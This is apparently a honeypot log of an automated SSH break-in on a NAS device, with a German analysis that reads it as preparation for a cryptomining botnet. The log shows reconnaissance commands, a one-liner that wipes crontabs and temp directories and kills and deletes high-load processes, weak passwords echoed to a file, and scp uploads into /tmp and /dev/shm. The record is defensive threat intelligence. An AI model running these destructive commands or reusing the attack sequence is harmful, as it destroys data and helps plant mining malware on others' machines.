13.10.2026, 04:32 UTC · 123 Befehle · über ssh · Niederlande
user='user75' pass='1234567890' user75@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) nas x86_64 user75@srv01:~$ uname -m | awk '{printf $1}' x86_64 user75@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }' 391 days, 00:00 user75@srv01:~$ lspci | egrep VGA && lspci | grep 3D 00:02.0 VGA compatible controller: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Integrated Graphics Controller (rev 21) user75@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14- Intel(R) Celeron(R) CPU J1900 @ 1.99GHz user75@srv01:~$ curl ipinfo.io/org AS60751 user75@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 bash: nvidia-smi: command not found user75@srv01:~$ nvidia-smi -q | grep "Product Name" bash: nvidia-smi: command not found user75@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1 0 user75@srv01:~$ uname -n | awk '{printf $1}' nas user75@srv01:~$ uname -r | awk '{printf $1}' 4.19.0-25-amd64 user75@srv01:~$ crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; d… bash: cache: command not found user75@srv01:~$ echo 1234567890 > /tmp/d.log user75@srv01:~$ scp -qt "/var/tmp/bJRqzHmC" user75@srv01:~$ scp -qt "/tmp/bJRqzHmC" user75@srv01:~$ scp -qt "/dev/shm/bJRqzHmC" user75@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) nas x86_64 user75@srv01:~$ echo Amax1979! > /tmp/d.log user75@srv01:~$ scp -qt "/var/tmp/qJokmsYn" user75@srv01:~$ scp -qt "/tmp/qJokmsYn" user75@srv01:~$ scp -qt "/dev/shm/qJokmsYn" user75@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) nas x86_64 user75@srv01:~$ echo guest > /tmp/d.log user75@srv01:~$ scp -qt "/var/tmp/iWRcyBLi" user75@srv01:~$ scp -qt "/tmp/iWRcyBLi" user75@srv01:~$ scp -qt "/dev/shm/iWRcyBLi" user75@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) nas x86_64 user75@srv01:~$ echo toor > /tmp/d.log user75@srv01:~$ scp -qt "/var/tmp/zKHBOymA" user75@srv01:~$ scp -qt "/tmp/zKHBOymA" user75@srv01:~$ scp -qt "/dev/shm/zKHBOymA" user75@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) nas x86_64 user75@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) nas x86_64 user75@srv01:~$ echo pulamea321! > /tmp/d.log user75@srv01:~$ scp -qt "/var/tmp/yNPciHXz" user75@srv01:~$ scp -qt "/tmp/yNPciHXz" user75@srv01:~$ scp -qt "/dev/shm/yNPciHXz" user75@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) nas x86_64 user75@srv01:~$ echo oracle > /tmp/d.log
Der Angreifer meldete sich mit schwachen Zugangsdaten über SSH an. Er führte eine Reihe von Systemabfragen durch, um Hardware, CPU und Netzwerkinformationen zu erfassen. Anschließend versuchte er, temporäre Dateien zu löschen und Prozesse mit hoher CPU-Auslastung zu beenden. Danach lud er mehrere Dateien in verschiedene temporäre Verzeichnisse hoch.
Die Befehle uname, lscpu und lspci sammeln technische Daten über das Betriebssystem und die Hardware, insbesondere zur Erkennung von GPUs für Mining-Zwecke. Der Befehl crontab -r löscht geplante Aufgaben, während rm -rf temporäre Dateien entfernt, um Spuren zu verwischen. Die awk-Schleife identifiziert Prozesse mit hoher CPU- oder RAM-Nutzung und beendet sie gewaltsam, um Ressourcen freizumachen. Die scp-Befehle kopieren Dateien in Verzeichnisse wie /var/tmp und /dev/shm, wobei letzteres ein RAM-basierter Speicher ist, der bei Neustarts geleert wird.
Das Vorgehen deutet auf die Vorbereitung eines Kryptomining-Botnetzes hin. Die Abfrage nach Grafikkarten und die gezielte Beendigung ressourcenintensiver Prozesse dienen der Maximierung der Rechenleistung für Mining-Software. Das Hochladen von Dateien in flüchtige Speicherbereiche wie /dev/shm ist typisch für die Installation von Malware, die schwerer zu finden ist.
Dieses Muster ist sehr verbreitet bei automatisierten Skripten, die nach kompromittierten Geräten mit schwachen Passwörtern suchen. Die Kombination aus Hardware-Scanning und Prozess-Kill ist ein Standardverfahren für Kryptomining-Malware.